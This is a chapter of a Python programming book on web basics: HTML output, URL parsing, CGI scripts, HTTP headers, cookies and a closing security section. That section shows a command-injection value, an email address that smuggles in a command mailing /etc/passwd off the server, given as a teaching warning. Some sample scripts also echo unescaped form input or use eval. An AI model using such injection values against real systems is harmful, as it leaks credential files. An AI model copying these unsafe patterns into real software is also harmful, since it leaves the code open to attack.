The Complete Reference

Chapter 19

Web Development Basics

Looking back over just a few years, it's hard to imagine a world without the Internet and the World Wide Web. I first started writing HTML for websites back in 1993, not long after HTML itself had been invented. It didn't take long for people to latch onto the abilities of HTML and the dynamic capabilities of the technology that would allow you to do more than just serve up static pages.

In this chapter we're going to look at the basics of generating HTML and manipulating URLs before looking at the specifics of creating dynamic websites using Python. We'll also look at the use of cookies, which allow you to store information on a user's browser, and we will look at the security aspects of your website that you should be aware of when writing scripts for the web.

In the rest of this section we'll look at how to parse HTML, XML, and SGML documents so that we can extract information and data from them. We'll also look at some of the more advanced web development solutions available with Python in Chapter 22.

Writing HTML

Before leaping into writing dynamic scripts with Python, it's worth going over the mechanics of how to write pages and how the web environment works. We'll start by looking at HTML (Hypertext Markup Language). HTML is a language that allows you to mark up the different elements within a text document so that they can be formatted.

Without HTML, websites would be boring: there'd be no way of highlighting or formatting different elements, and no way of incorporating images or linking to other documents.

HTML works by introducing *'tags'* into the text. The tags define to an HTML viewer, such as a browser, how the text should be formatted onscreen. For example, to boldface a phrase, you use the **** tag:

```
<b>Hello World!</b>
```

The opening tag, **** starts the boldfacing, and the **** end tag stops it. Other tags include those for building tables and changing fonts and text sizes, as well as those for introducing images and *anchors*, which provide links to external documents and therefore enable the hypertext element of the language.

However, this is a book about Python—if you want to learn more about HTML check out the World Wide Web Consortium website (www.w3c.org), which contains tutorials and reference manuals for all web-based standards, including HTML. You might also want to check out *HTML: The Complete Reference* by Thomas Powell (Osborne/McGraw-Hill, 2000).

Within Python, generating HTML is as easy as using a **print** statement or using the **write()** or other methods on an open file. Remember, HTML is just marked-up raw text: it's not a binary file format, and there are no strict rules for how the information should be output. For example, we could output our earlier HTML example within Python using

```
print "<b>Hello World!</b>"
```

This method works for any quantity of HTML and is almost certainly the way you'll produce a large proportion of the HTML you need. We can also use the same techniques in Python CGI scripts.

However, using this method is not ideal in all situations. For a start, there is no structure to what you output: what would happen if you forget to print out the closing tag for a boldfacing instruction? Even worse, forgetting a closing **</table>** tag may well cause the entire table to disappear! There is no quick way to get around these problems; you just need to be vigilant about the HTML that you produce.

You can ease the process, however, by using the **HtmlKit** module. The **HtmlKit** module (available from http://www.dekorte.com/Software/Python/HtmlKit/) provides methods for creating most of the HTML tags that you'll ever need, while using a standard and structured interface that helps you to produce valid HTML without forcing you to manually check every line of HTML you produce.

For example, we could produce a table in HTML using the **HtmlKit** like this:

```
import HtmlKit

table = HtmlKit.Table()
row = table.newRow()
row.newColumn('Name')
row.newColumn('Title')
row.newColumn('Phone')
row = table.newRow()
row.newColumn('Martin')
row.newColumn('MD')
row.newColumn('01234 567890')
print str(table)
```

You can see here that we've built up the **table** object, first by creating it as an instance of the **Table()** class defined in **HtmlKit**, and then by adding rows and then columns to create the tables structure. Once we've finished, we can generate the final table by evaluating the **table** object through the **str()** function. The above code generates the following HTML:

```
<table border="0" cellpadding="3" cellspacing="1" width="100%">
<tr>
<td nowrap bgcolor="#dddddd">Name</td>
<td nowrap bgcolor="#dddddd">Title</td>
<td nowrap bgcolor="#dddddd">Phone</td>
</tr>
<tr>
<td nowrap bgcolor="#dddddd">Martin</td>
<td nowrap bgcolor="#dddddd">MD</td>
<td nowrap bgcolor="#dddddd">01234 567890</td>
```

```
</tr>
</table>
```

You can see here that you should be careful when creating HTML with **HtmlKit** as it automatically adds attributes to the different elements that you may not want. These can of course be modified when you create the table with **HtmlKit**; check the documentation for more details.

Uniform Resource Locators

You've probably used a URL (uniform resource locator) and never thought much about what it actually is. A URL is an address for a resource on the Internet that consists of the protocol to be used, the address of the server, and the path to the file that you want to access. For example, the address

```
http://www.mcwords.com/index.shtml
```

indicates that you want to use the HTTP protocol, that you are connecting to the machine known as www.mcwords.com, and that you want to retrieve the file index.shtml.

URLs can also incorporate login names, passwords, and optional service port number information:

```
http://anonymous:password@ftp.mcwords.com:1025/cgi/send.py?file=info.zip
```

The preceding example shows downloading information from the server "ftp.mcwords.com," using service port "1025," with a login of "anonymous" and a password of "password."

This example also shows us accessing the object on the server called **send.py**. The information after the question mark is the data sent as part of the request. In this case we're sending a key/value pair on to a script called **send.py**. We'll look at how to handle this information later.

Parsing URLs

If you want to parse an existing URL, either to extract the individual components or to join a relative and absolute URL together, then the Python distribution comes with the **urlparse** module.

The module provides only three functions: **urlparse()**, **urlunparse()**, and **urljoin()**. The **urlparse()** function accepts a URL and returns a tuple defining the different components of the URL. The basic format of the function is

```
urlparse(urlstring[, default_scheme[, allow_fragments ] ])
```

The **urlstring** is the name of the string that you want to parse as a URL. For example, we could obtain a tuple of the components of our earlier sample URL like this:

```
>>> urlparse.urlparse('http://anonymous:password@ftp.mcwords.com:1025/cgi/send.py?file=info.zip')
('http', 'anonymous:password@ftp.mcwords.com:1025', '/cgi/send.py', '', 'file=info.zip', '')
```

The format of the returned tuple is

```
(scheme, host, path, parameters, query, fragment)
```

Note that the user and password are not extracted for you; you'll need to do this yourself—which in turn leads to

```
scheme://host/path;parameters?query#fragment
```

The **default_scheme** argument should be used when you have an incomplete URL (for example www.mcwords.com) and need to resolve the URL within a given scheme (protocol). For example, the www.mcwords.com URL is actually a web address so it would need to be parsed within the 'http' scheme. Certain schemes don't support all the elements of a given URL. For example, an FTP schemed URL doesn't have either parameters or a query.

The **allow_fragments** argument specifies whether fragments are allowed in the URL that has been supplied. Setting this option overrides the settings for the supplied scheme.

The **urlunparse()** methods accepts a tuple in the same order as returned by **urlparse()** and rebuilds the given elements into a single URL string.

```
>>> urlunparse(('scheme', 'host', 'path', 'parameters', 'query', 'fragment'))
'scheme://host/path;parameters?query#fragment'
```

The **urljoin()** function takes two arguments, an absolute URL and a relative URL, and joins the two URLs together to make one absolute URL. For example, the URL of my website is http://www.mcwords.com, and the section on this book is defined within the contents page as /projects/books/pytcr. We can generate a full URL to point to this book using

```
>>> urljoin('http://www.mcwords.com', '/projects/books/pytcr')
'http://www.mcwords.com/projects/books/pytcr'
```

It'll also work for more complex URLs. For example, deep within the site, the Perl Complete Reference page at http://www.mcwords.com/projects/books/pcr2e might refer to this book as ../pytcr, which we can also join together:

```
>>> urljoin('http://www.mcwords.com/projects/books/pcr2e/', '../pytcr')
'http://www.mcwords.com/projects/books/pytcr'
```

Tip *If you want to download the file defined by a URL, you should use the* **urllib** *module. See Chapter 13 for more information.*

Dynamic Websites Using CGI

CGI, the Common Gateway Interface, is a method for exchanging information between the web server software and an external script. When you submit a form from within your browser to a web server, the data that you have filled in is supplied through a conduit to an external script, and then any output that the script provides is routed back by the web server to the user's browser.

CGI defines both how the web server talks to and executes an external application, as well as the methods used to transfer information between the external script and the server itself. The external script can, incidentally, be written in any language. We will, of course, use Python here, but it could just as easily be an AppleScript, C/C++ application, or Java Servlet. There are actually two basic methods for exchanging information between the web server and the CGI script that you are calling. The two methods are GET and POST, and which method you use is dependent on the information you are transferring. The GET method is useful for short requests and has the advantage that the fields and data can be appended to a URL. The POST method is best used for large volumes of text. We'll be looking at how the two methods affect the CGI side of the equation below.

Here is a more detailed overview of the process behind submitting data to a CGI script and getting the information back:

1. The user's browser (the client) opens a connection to the server.
2. The user's browser requests a URL from the server.
3. The server parses the URL and determines whether the URL points to a static HTML file or if it refers to a valid CGI script that should be executed separately. We will of course assume the latter for this example!
4. The external application is called. Any valid executable is valid at this point.
5. Any data (from a form, or from a suitably formatted URL) is supplied to the external application. If the information is sent as a GET request, then the information is made available in an environment variable that the script must

read. If the information is supplied using the POST method, data is sent to the standard input of the CGI application.

6. The CGI script now processes the information.
7. Any information generated by the CGI application and sent to the application's standard output is picked up by the web server and sent verbatim back to the client's browser. Valid responses must consist of an HTTP header that defines the format of the response and the actual HTML page that you want to supply back. The two elements should be separated by a blank line.

This is a very simplified outline to show how the basic process works. The important steps as far as we are concerned when developing CGI scripts are steps 4, 5, and 6.

In step 4, you need to think about the environment in which an application is executed. The environment defines the physical and logical confines of the Python script you want to run. In addition to the standard environment variables, such as PATH, there is also some web-specific information. In step 5, you have to extract any information supplied by the browser, either from one of the environment variables, which requires the **GET** method, or from the standard input, using the **POST** method. These names, **GET** and **POST** are the methods used to transfer the information from the browser—according to the configuration of the form—when it sends the form data to the server. In step 6, you have to know how to communicate information back to the user's browser.

We'll take a look at each of these issues separately in the next few sections of this chapter.

The Web Environment

The environment in which a script is executed does not normally affect the script's operation, except where otherwise noted in the general operation of Python. For example, a Python script executed within an environment that defines an alternative PATH will affect which programs the script can execute through the **exec*()** functions. On the whole, the environment doesn't change how the script executes, but it may affect certain operations of the script itself.

Most web servers populate the environment of the CGI script with a host of useful information about the client, it's browser, and information about the web server and the location of files and other information. You can see a list of the environment variables available on most web servers running under Unix in Table 19-1.

The exact list of environment variables supported depends on your web server, and also on the instance in which the URL was requested. For pages that are displayed as the result of a referral, you will also get a list of "referrer" information—the site from which the reference to the requested URL was made.

Environment Variable	Description
DOCUMENT_ROOT	The root document directory for this web server.
GATEWAY_INTERFACE	The interface name and version number.
HTTP_ACCEPT	The formats accepted by the browser. This information is optionally supplied by the browser when it first requests the page from the server. In the example shown in the main text, the default types accepted include all of the major graphics types (GIF, JPEG, X bitmap), as well as all other MIME types (*/*).
HTTP_ACCEPT_CHARSET	The character sets accepted by the browser.
HTTP_ACCEPT_ENCODING	Any special encoding formats supported by the browser. In the example, Netscape supports Gzip-encoded documents; they will be decoded on the fly at the time of receipt.
HTTP_ACCEPT_LANGUAGE	The languages accepted by this browser. If supported by the server, then only documents of a specific language will be returned to the browser.
HTTP_CONNECTION	Any HTTP connection directives. A typical directive is "Keep Alive," which forces the server to keep a web-server process and the associated network socket dedicated to this browser until a defined period of inactivity.
HTTP_HOST	The server host (without domain).

Table 19-1. *Web Server Environment Variables for CGI Scripts*

Environment Variable	Description
HTTP_USER_AGENT	The name, version number, and platform of the remote browser. In the example output shown in the main text, the browser used was the Mozilla 4.0–compatible browser (actually the browser is really Microsoft Internet Explorer 5.0), for Macintosh PPC. Don't be fooled into thinking that the name Mozilla applies only to Netscape Navigator; other browsers, including Microsoft Internet Explorer, also report themselves as being Mozilla browsers—this helps with compatibility identification, even though all browsers render HTML differently.
PATH	The path for the CGI script.
CONTENT_LENGTH	The length of the query information. It's available only for **POST** requests, and it can help with the security of the scripts you produce.
QUERY_STRING	The query string, used with **GET** requests.
REMOTE_ADDR	The IP address of the browser.
REMOTE_HOST	The resolved name of the browser.
REMOTE_PORT	The remote port of the browser machine.
REQUEST_METHOD	The request method; for example, **GET** or **POST**.
REQUEST_URI	The requested URI (uniform resource identifier).
SCRIPT_FILENAME	The full path to the CGI script.

Table 19-1 *Web Server Environment Variables for CGI Scripts* (continued)

Environment Variable	Description
SCRIPT_NAME	The name of the CGI script.
SERVER_ADMIN	The email address of the web-server administrator.
SERVER_NAME	The fully qualified domain name of the server.
SERVER_PORT	The server port number.
SERVER_PROTOCOL	The protocol (usually HTTP) and version number.
SERVER_SOFTWARE	The name and version number of the server software that is being used. This can be useful if you want to introduce a single script that makes use of specific features of multiple web servers.
TZ	The time zone of the web server.

Table 19-1. *Web Server Environment Variables for CGI Scripts* (continued)

You can find this information using a CGI script like the one that follows. Don't worry too much about the details of this script at this stage.

```
#!/usr/local/bin/python

from os import environ

print "Content-type: text/html\n\n"
print "<h1>Environment:</h1>"

for key in environ.keys():
    print "%s =&gt; %s<br>" % (key, environ[key])
```

On my web server, which is Apache 1.3.20 running under Solaris 8, the following ends up being displayed within a browser window (Microsoft Internet Explorer for Mac 5.01):

```
DOCUMENT_ROOT => /export/http/webs/test
SERVER_ADDR => 192.168.1.1
QUERY_STRING =>
SERVER_PORT => 80
```

```
REMOTE_ADDR => 192.168.1.1
HTTP_VIA => 1.0 http-proxy.mcslp.pri:8080
PATH =>
/usr/local/bin:/usr/bin:/usr/games:/export/home/root/usr/etc:/export/home/
root/usr/bin:/usr/lib:/usr/ccs/bin:/usr/sbin:/usr/local/sbin:/usr/lib/
lp/postscript:/export/data/bin:/opt/NSCPcom:/usr/openwin/bin:.
HTTP_ACCEPT_LANGUAGE => en
GATEWAY_INTERFACE => CGI/1.1
SERVER_NAME => test.mcslp.pri
TZ => GB
HTTP_USER_AGENT => Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC)
HTTP_ACCEPT => */*
REQUEST_URI => /pyecho.cgi
HTTP_UA_CPU => PPC
HTTP_EXTENSION => Security/Remote-Passphrase
SCRIPT_FILENAME => /export/http/webs/test/pyecho.cgi
HTTP_HOST => test.mcslp.pri
REQUEST_METHOD => GET
SERVER_SIGNATURE =>
Apache/1.3.20 Server at test.mcslp.pri Port 80

HTTP_IF_MODIFIED_SINCE => Tue, 10 Jul 2001 13:37:05 GMT
SCRIPT_NAME => /pyecho.cgi
SERVER_ADMIN => mc@test.com
SERVER_SOFTWARE => Apache/1.3.20 (Unix) PHP/4.0.6 mod_perl/1.25
SERVER_PROTOCOL => HTTP/1.0
REMOTE_PORT => 51868
HTTP_UA_OS => MacOS
```

You can glean lots of useful information from this that you can use in your script. For example, the SCRIPT_NAME environment variable contains the name of the CGI script that was accessed by the client. The most important fields as far as a CGI program is concerned, however, are the REQUEST_METHOD, which defines the method used to transfer the information (request) from the browser, through the web server, to the CGI application.

The CONTENT_LENGTH defines the number of bytes contained in the query when using the POST method. This is useful primarily for verifying that some data has been supplied (and therefore needs processing). The CONTENT_LENGTH environment variable is not provided by all web servers and shouldn't be your only way of verifying whether any query has been sent. However, if used properly, it can also aid in the security of your web scripts. See the "Security" section later in this chapter for more information. The QUERY_STRING is the environment variable used to store the data from the client's browser when using the GET method.

Extracting Form Data

We already know that information supplied from a form or defined direct in a URL is made available either through the standard input or by populating the

QUERY_STRING environment variable. Accessing these two pieces of information is not difficult, but decoding the information is less straightforward.

Information from the form is supplied as a series of key/value pairs, where the key is the name of the form field and the value is the value of the field when the form was submitted. These key/value pairs are split by an equal sign, and more than key/value pair is split by ampersand characters.

As if that wasn't bad enough, the key/value information can often be encoded, since we obviously can't include either equal signs or ampersands in the string; otherwise the CGI script would get confused. Other characters are also encoded—in fact just about all characters apart from the letters (upper and lower case) and numbers are generally translated into their hex equivalents and prefixed by a percent sign. For example, the string "Martin Brown" would be translated into "Martin%20Brown."

Sound complicated?

The easiest way to get all of the form information is to use the standard **cgi** module. This parses the form data supplied to a CGI script for you and makes the information available either through a series of function calls or with a single function call you can place all of the information directly into a dictionary.

For example, the script below provides a simple form asking for your name. When you enter your name and submit the form the script then returns and says hello:

```
from cgi import *

print "Content-type: text/html\n\n"

print """
<html>
<head><title>Greeting</title></head>
<body bgcolor="White">
<h1>Please enter your name</h1>
<form method=get action="/pyform.cgi">
<b>Name: </b><input type=text name=name size=40></br>
<input type=submit>
<hr>
"""

form = FieldStorage()

if (form.getvalue('name')):
    print "<h2>Hello",form.getvalue('name'),"</h2>"

print "</html>"
```

The primary part of the process is creating an instance of the **FieldStorage** class. The result object is a structure containing the fields and their values, which we can access in a number of different ways.

If we use dictionary notation on the **form** object, it returns a **MiniFieldStorage** instance containing a list of the fields matching the supplied name. For example, the line

```
print form['name']
```

yields

```
MiniFieldStorage('name', 'MC')
```

This method is useful when you have a number of fields on a form that supply information to the same field name. For example, if you had a series of checkboxes listing possible options, you'd use one form field to hold all of the values when each box has been checked.

More useful for standard forms, and the method we use here, is the **getvalue()** method to our **form** object. The method returns the information in more familiar format, in this case as a string. Had we used checkboxes, the return value from **getvalue()** would have been a list of those values.

This is of course just the tip of the iceberg: what you do with the data that you've retrieved from the form is entirely up to you. You might want to send the information to a database, send the user an email, or use the information to build a news page customized to the users preferences.

Other function supported by the **cgi** module are listed in Table 19-2.

Sending Information Back

When you want to send information back to the client, you simply send output to the standard output of your script; the web server will pick this up and pass it back to the client over the network socket used by the client to submit the request.

There are two parts to your response: an HTTP header and the document that you want to send back. The HTTP header is used to tell the client about the information you are sending back. At the bare minimum you must include the **Content-type** header, which tells the client the format of the information that you are sending back. For HTML, as we've already seen, this should the type **text/html**. For example:

```
print "Content-type: text/html\n\n"
```

Function	Description
parse(fp)	Parses a query string (as from the **QUERY_STRING** environment variable, or **sys.stdin** if this is empty).
parse_qs(string [, keep_blank_values, strict_parsing])	Parse the query string in the argument **string**. The resulting fields and values are returned to the caller as a dictionaries, with the keys as the field names and the value as a list of the values for the field. If set to true **keep_blank_values** creates keys for empty fields. The default is for blank fields to be ignored. The **string_parsing** argument if set will raise a **ValueError** exception if there are any errors in the supplied string. The default operation is to ignore such errors.
parse_qsl(string [, keep blank values, strict parsing])	Same as **parse_qs()** but returns the field names and values as a list of field name/value pairs.
parse_multipart(fp, pdict)	Parse the input from the file object **fp** as multipart form data. The **pdict** should be a dictionary of the parameters that we supplied in the Content-type header by the client. Returns a dictionary like **parse_qs()**.
parse_header(string)	Parse a MIME header into a main value and dictionary of parameters.
test()	Writes back minimal HTTP headers and displays environment and form information back to the client. Useful for debugging.
print_environ()	Prints the shell environment in HTML format. Useful for debugging.

Table 19-2. *Functions Supported by the* **cgi** *Module*

Function	Description
print_form(form)	Prints the form data in HTML format using the supplied **form** object. Useful for debugging.
print_directory()	Prints out the current directory from which the script was executed in HTML format.
print_environ_usage()	Prints a list of useful environment variables in HTML. Note that it only displays the environment variables names, not the data.
escape(s[, quote])	Converts the special HTML characters &, <, and > in the string **s** to HTML-safe sequences. If **quote** is true, then it also converts double quotes. See also the "Escaping Special Characters" section later in this chapter for details on a more extensive toolset for translating unsafe characters.

Table 19-2. *Functions Supported by the **cgi** Module* (continued)

The header and the body of the document you are sending back should be separated by a single blank line, introduced above by including a linefeed character. There's some more information included about HTTP headers and what they can be used for below.

The body of the document can then contain what you like. You are not restricted to HTML—you could send back an image, sound file, or even a compressed archive.

HTTP Headers

The HTTP header information is returned as follows:

```
Field: data
```

The case of the **Field** name is important, but otherwise you can use as much white space as you like between the colon and the field data. A sample list of HTTP header fields is shown in Table 19-3.

Field	Meaning
Allow: list	A comma-delimited list of the HTTP request methods supported by the requested resource (script or program). Scripts generally support **GET** and **POST**; other methods include **HEAD**, **POST**, **DELETE**, **LINK**, and **UNLINK**.
Content-encoding: string	The encoding used in the message body. Currently the only supported formats are Gzip and compress. If you want to encode data this way, make sure you check the value of **HTTP_ACCEPT_ENCODING** from the environment variables.
Content-type: string	A MIME string defining the format of the file being returned. For an HTML page this will be text/html. Check the section later in this chapter for more information.
Content-length: string	The length, in bytes, of the data being returned. The browser uses this value to report the estimated download time for a file.
Date: string	The date and time the message is sent. It should be in the format 01 Jan 1998 12:00:00 GMT. The time zone should be GMT for reference purposes; the browser can calculate the difference for its local time zone if it has to.
Expires: string	The date the information becomes invalid. This should be used by the browser to decide when a page needs to be refreshed. Should be specified in the same format as the **Date:** header.

Table 19-3. *HTTP Header Fields*

Field	Meaning
Last-modified: string	The date of last modification of the resource. This is used by the browser to determine whether the remote version is more up to date than that in the cache. Should be specified in the same format as the **Date:** header.
Location: string	You can use this to define the URL that should be visited by the browser, instead of continuing to read information from the requested URL. This can be useful when you want to redirect the user to another location. The URL should be absolute; relative URLs will not work.
MIME-version: string	The version of the MIME protocol supported. Check the MIME resource page at http://www.oac.uci.edu/indiv/ehood/MIME/MIME.html for more information.
Server: string/string	The web server application and version number.
Title: string	The title of the resource.
URI: string	The URI that should be returned instead of the requested one.

Table 19-3. *HTTP Header Fields* (continued)

The only required field is Content-type, which defines the format of the file you are returning. If you do not specify anything, the browser assumes you are sending back preformatted raw text, not HTML. The definition of the file format is by a MIME string. MIME is an acronym for Multipurpose Internet Mail Extensions, and it is a slash-separated string that defines the raw format and a subformat within it. For example, text/html says the information returned is plain text, using HTML as a file format. Mac users will be familiar with the concept of file owners and types, and this

is the basic model employed by MIME. MIME is rapidly becoming a generic method for describing the file type. It's used by email and Internet file transfer, and on some operating systems (notably BeOS, but Linux and others are expected to follow suit) it's used to describe the file content of files on the file system.

Other examples include application/pdf, which states that the file type is application specific binary and that the file's format is pdf, the Adobe Acrobat file format. Others you might be familiar with are image/gif, which states that the file is a GIF file, and application/zip, which is a Zip archive.

This MIME information is used by the browser to decide how to process the file. Most browsers will have a mapping that says they deal with files of type image/gif so that you can place graphical files within a page. They may also have an entry for application/pdf, which either calls an external application to open the received file or passes the file to a plug-in that optionally displays the file to the user.

Both client and server also map extensions to MIME types. For example, we know that the .doc extension refers to Microsoft Word documents, and ergo to the application/msword MIME type. On the server side, the extension of a file is used to send the MIME type to the client. On the client side, the mapping is used to identify the file type of files that do not come attached with a MIME type.

For more examples of MIME types, you can look at a fragment of the MIME type file supplied with the Apache web server:

```
application/mac-binhex40        hqx
application/mac-compactpro      cpt
application/macwriteii
application/msword              doc
application/news-message-id
application/news-transmission
application/octet-stream        bin dms lha lzh exe class
application/oda                 oda
application/pdf                 pdf
application/postscript          ai eps ps
application/powerpoint          ppt
application/remote-printing
application/rtf                 rtf
application/slate
application/wita
application/wordperfect5.1
application/x-bcpio             bcpio
application/x-cdlink            vcd
application/x-compress
application/x-cpio              cpio
application/x-csh               csh
application/x-director          dcr dir dxr
```

It's important to realize the significance of this one, seemingly innocent field. Without it, your browser would not know how to process the information it receives. Normally the web server sends the MIME type back to the browser, and it uses a lookup table that maps MIME strings to file extensions. Thus, when a browser requests myphoto.gif, the server sends back a Content-type field value of image/gif.

Failure to return the Content-type HTTP header will almost certainly render the output generated by your CGI script as plain text and will be displayed as such by the browser.

The Document Body

The document body is all about what you want to send back. If it's HTML, then use print statements or the **HtmlKit** module we saw at the beginning of this chapter to format the data that you want to send back.

As an example, here's a script that gets a list of email from an IMAP server and then formats it as HTML before supplying it back to the client.

```
#!/usr/local/bin/python

import imaplib
import sys,os,re,string

# Set up a function that we can use to call the corresponding
# method on a given imap connection when supplied with the
# name of an IMAP command
def run(cmd, args):
    typ, dat = apply(eval('imapcon.%s' % cmd), args)
    return dat

# Get the mail, displaying the output as HTML

def getmail(title,login,password):
# Login to the remote server, supplying the login and
# password supplied to the function
    run('login',(login,password))

# Use the select method to obtain the number of
# messages in the users mail account. The information is returned
# as a string, so we need to convert it to an integer
    nomsgs = run('select',())[0]
    nomsgs = string.atoi(nomsgs)

# Output a header for this email account
    print '<p><font size="+2"><b>'+title+'</b></font></p>'

# Providing we've got some messages, download each message
# and display the sender and subject
```

```
        if nomsgs:
    # Output a suitable table header row
            print '<table border="0" cellpadding="0" cellspacing="0">'
            print "<tr><td><b>Sender</b></td><td><b>Subject</b></td></tr>"
    # Process each message
            for message in range(nomsgs,0,-1):
                subject,sender,status = '','','U'
    # Send the fetch command to the server to obtain the
    # email's flags (read, deleted, etc.) and header from the email
                data = run('fetch', (message,'(FLAGS RFC822.HEADER)'))[0]
                meta,header = data
    # Determine the email's flags and ignore a message if it's
    # marked as deleted
                if string.find(meta,'Seen') > 0:
                    status = ''
                if string.find(meta,'Deleted') > 0:
                    continue
    # Separate the header, which appears as one large string, into
    # individual lines and then extract the subject and sender fields
                for line in string.split(header,'\n'):
                    if not line:
                        sender = re.sub(r'\<.*\>','',
                                        re.sub(r'\"','',sender))
    # If the message is unread, then mark the subject and sender
    # in red
                        if (string.find(status,'U') == 0):
                            subject = '<font color="red">'
                                      + subject + '</font>'
                            sender = '<font color="red">'
                                     + sender + '</font>'
                        print "<tr><td>%s</td><td>%s</td></tr>"
                              % (sender,subject)
                        break
    # Extract the sender/subject information by looking for the field
    # prefix
                if line[:8] == 'Subject:':
                    subject = line[9:-1]
                if line[:5] == 'From:':
                    sender = line[6:-1]
        print "</table>"
    else:
        print "No messages"
# Logout from the server
    run('logout',())

# Set the server information
server='imap'
```

```
# Print out a suitable HTTP header and HTML page header
print "Content-type: text/html\n\n"
print """
<head>
<title>Mail</title>
</head>
<body bgcolor="#ffffff" fgcolor="#000000">
"""

# Connect to the server, and then call getmail to get the mail
# from the server
try:
    imapcon = imaplib.IMAP4(server)
except:
    print "Can't open connection to ",server
    sys.exit(1)
getmail('MC','mcmcslp','PASSWORD')
```

Escaping Special Characters

Because we have to transfer data to the CGI script using text, there are limitations in what we can supply safely over a given connection. We've already seen that characters beyond the standard letters and numbers have to be converted back when we are reading the information from a client. If you want to supply information that's encoded in this way, you need to use the **quote()** function from the **urllib** module. To convert a quoted string back into it's original format, use **unquote()**; note that this is normally handled by the **cgi** module, and it automatically decodes quoted strings into their real versions as part of it's parsing process. You can the details of the two functions and their cousins **quote_plus()** and **unquote_plus()** in Table 19-4.

For example we would convert the string "file=/path/to/an/odd file" using

```
import urllib
print urllib.quote_plus('file=/path/to/an/odd file')
```

If you want to change the list of characters that are escaped during this process, you can supply a second argument to the function, the second argument defines which characters are safe, and therefore do not need to be escaped:

```
urllib.quote(url,'a-zA-Z0-9')
```

For more complex translations, you'll need to be more careful about which characters you do (or more importantly don't) include.

Function	Description
quote(string)	Escapes characters in **string** with URL-compatible formats. Note that the Python **quote()** does not convert spaces to + characters by default. Use the **quote_plus()** function if you also want translate the plus sign.
unquote(string)	Converts a string that has URL escape sequences embedded into it into a normal string. Note that the **unquote()** function does not convert + characters back to spaces; use **unquote_plus()** to encode spaces to plus signs.

Table 19-4. *Converting URL to/from Escaped Versions*

Debugging

Care needs to be taken when debugging CGI scripts of any kind because there are a number of locations where errors can occur. The primary point is a fault in the CGI script itself. If the script raises an exception that you haven't otherwise trapped, then the script will terminate mid-execution and may have returned very little information to the client.

Although standard output is passed on to the client, standard error is not—that information is written out to the web server's error log. You can improve on this simply by diverting standard error to the standard output filehandle using

```
import sys
sys.stderr = sys.stdout
```

Beyond that, it really comes down to ensuring that your exceptions are as complete as possible and that you can trace the errors properly.

We'll actually be looking at debugging in more detail in Chapter 24, and we'll also look at some general and CGI specific techniques in that chapter.

Cookies

A cookie is a small, discrete piece of information used to store information within a web browser. The cookie itself is stored on the client end, rather than the server, and it can therefore be used to store state information between individual accesses by the browser, either in the same session or across a number of sessions. In its simplest form, a cookie might just store your name; in a more complex system, it provides login and

password information for a website. This can be used by web designers to provide customized pages to individual users.

In other systems, cookies are used to store the information about the products you have chosen in web-based stores. The cookie then acts as your "shopping basket," storing information about your products and other selections.

In either case, the creation of a cookie and how you access the information stored in a cookie are server-based requests, since it's the server that uses the information to provide the customized web page, or that updates the selected products stored in your web basket. There is a limit to the size of cookies, and it varies from browser to browser. In general, a cookie shouldn't need to be more than 1,024 bytes, but some browsers will support sizes as large as 16,384 bytes, sometimes even more.

A cookie is formatted much like a CGI form-field data stream. The cookie is composed of a series of field/value pairs separated by ampersands, with each field/value additionally separated by an equal sign. The contents of the cookie is exchanged between the server and client during normal interaction. The server sends updates back to the cookie as part of the HTTP headers, and the browser sends the current cookie contents as part of its request to the server.

Besides the field/value pairs, a cookie has a number of additional attributes. These are an expiration time, a domain, a path, and an optional secure flag.

- The expiration time is used by the browser to determine when the cookie should be deleted from its own internal list. As long as the expiration time has not been reached, the cookie will be sent back to the correct server each time you access a page from that server.
- The definition of a valid server is stored within the domain attribute. This is a partial or complete domain name for the server that should be sent to the cookie. For example, if the value of the domain attribute is ".foo.bar," then any server within the foo.bar domain will be sent the cookie data for each access.
- The path is a similar partial match against a path within the web server. For example, a path of /cgi-bin means that the cookie data will only be sent with any requests starting with that path. Normally, you would specify "/" to have the cookie sent to all CGI scripts, but you might want to restrict the cookie data so it is only sent to scripts starting with /cgi-public, but not to /cgi-private.
- The secure attribute restricts the browser from sending the cookie to unsecure links. If set, cookie data will only be transferred over secure connections, such as those provided by SSL.

In Python there is a third-party module called **Cookie** that will build a new cookie suitable for sending back to the client. For example, we could rewrite the above using the **Cookie** module like this:

```
import Cookie
cookie = Cookie.SmartCookie()
```

```
cookie['sample'] = 'login=%s; other=Other' % (login)
cookie['sample']['path'] = '/'
cookie['sample']['domain'] = 'mcwords.mchome.com'
cookie['sample']['expires'] = 365*24*3600
print cookie
```

Note that we have to actually calculate the future value ourselves (in seconds) rather than using the relative strings that you may be familiar with when using Perl or JavaScript. The resulting cookie should be sent back to the client as part of the HTTP headers, so it should be placed before the single blank line separating the header and body.

Cookies are automatically sent back to the browser when the browser accesses a URL matching the domain and path defined when the cookie was created. Note that the client only sends back cookies matching the domain and path; it doesn't send all cookies to the client.

The web server then places the cookie information into the **HTTP_COOKIE** environment variable. The easiest way to parse a cookie supplied by a client back into an internal structure is to use the **load()** method on a **SmartCookie** object:

```
import Cookie, os

cookie = Cookie.SmartCookie()
cookie.load(os.environ['HTTP_COOKIE'])
print cookie['sample']
```

Cookies are a great way of storing information about a client that is pertinent to your website. For example, you might use a cookie to hold a reference value that refers to the user's login on your site. That way when they visit your site, you will automatically know who they are and therefore be able to provide them with a customized view.

But be careful: don't store user names and passwords in a cookie. Although the cookie is not sent to any CGI script other than that matching it's domain and path, users can still read the cookie data stored on a machine to determine user names and passwords. A better solution is to store a randomly generated string in a database and use that as the cookie value. When the user visits the site, you look up the random string in the database and identify the user that way. That makes it impossible for someone to determine the user's login name or password from looking in the cookies on the user's machine.

It doesn't protect them completely of course—they could copy the cookie, or use the machine to visit your site. As a double protection, therefore, make sure that any major operations, such as changing the user's preferences or submitting/accessing their credit card details, requires the user to enter their full password.

Security

The number of attacks on Internet sites is increasing. Whether this is due to the meteoric rise of the number of computer crackers, or whether it's just because of the number of companies and hosts who do not take it seriously is unclear. The fact is, it's incredibly easy to ensure that your scripts are secure if you follow some simple guidelines. However, before we look at solutions, let's look at the types of scripts that are vulnerable to attack:

- Any script that passes form input to a mail address or mail message
- Any script that passes information that will be used within a subshell or through a call to **system()** or **exec*()**
- Any script that blindly accepts unlimited amounts of information during the form processing

The first two danger zones should be relatively obvious: anything that is essentially executed on the command line is open to abuse if the attacker supplies the right information. For example, imagine an email address passed directly to **sendmail** that looks like this:

```
mc@foo.bar;(mail mc@foo.bar </etc/passwd)
```

